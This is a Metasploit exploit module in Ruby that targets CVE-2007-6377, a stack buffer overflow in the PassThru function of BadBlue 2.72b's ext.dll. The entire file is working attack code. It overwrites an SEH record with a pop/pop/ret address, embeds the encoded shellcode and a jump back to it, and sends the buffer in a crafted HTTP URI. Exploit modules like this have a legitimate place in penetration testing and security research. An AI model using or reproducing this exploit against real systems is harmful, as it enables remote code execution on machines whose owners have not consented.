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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
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  # However, a proper Server header is returned when requesting /index.html or using HEAD.
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  HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'BadBlue 2.72b PassThru Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the PassThru
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        functionality in ext.dll in BadBlue 2.72b and earlier.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2007-6377'],
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          ['OSVDB', '42416'],
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          ['BID', '26803'],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 750,
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          'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
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          'StackAdjustment' => -3500,
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          #'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
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          'DisableNops'	=>  'True',
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # This is the version being distributed on badblue.com as of Jul 7th 2010
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          [ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
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          [ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ]   # pop/pop/ret from ext.dll v1.0.0.1
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2007-12-10'))
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  end
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  def exploit
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    seh_offset = 4116
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    #sploit = Rex::Text.pattern_create(seh_offset)
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    sploit = rand_text(seh_offset)
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    # Need to jump over the nul byte
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    seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
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    sploit << seh
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    plen = payload.encoded.length
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    sploit[seh_offset - 16 - plen, plen] = payload.encoded
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    # This pointer will force a crash when it is used in a lock instruction
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    ptr = rand_text(3)
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    ptr << [0x80|rand(256)].pack('C')
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    sploit[seh_offset - 8,4] = ptr
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    # These two bytes get corrupted, so we can't use them.
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    sploit << rand_text(2)
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    # jump back to the payload
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    distance = 2 + 8 + 16 + plen
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    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
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    # Build the final URI
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    uri = "/ext.dll?mfcisapicommand=PassThru&"
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    uri << sploit
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    print_status("Trying target %s..." % target.name)
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    send_request_raw({ 'uri' => uri }, 5)
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    handler
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    disconnect
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  end
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end
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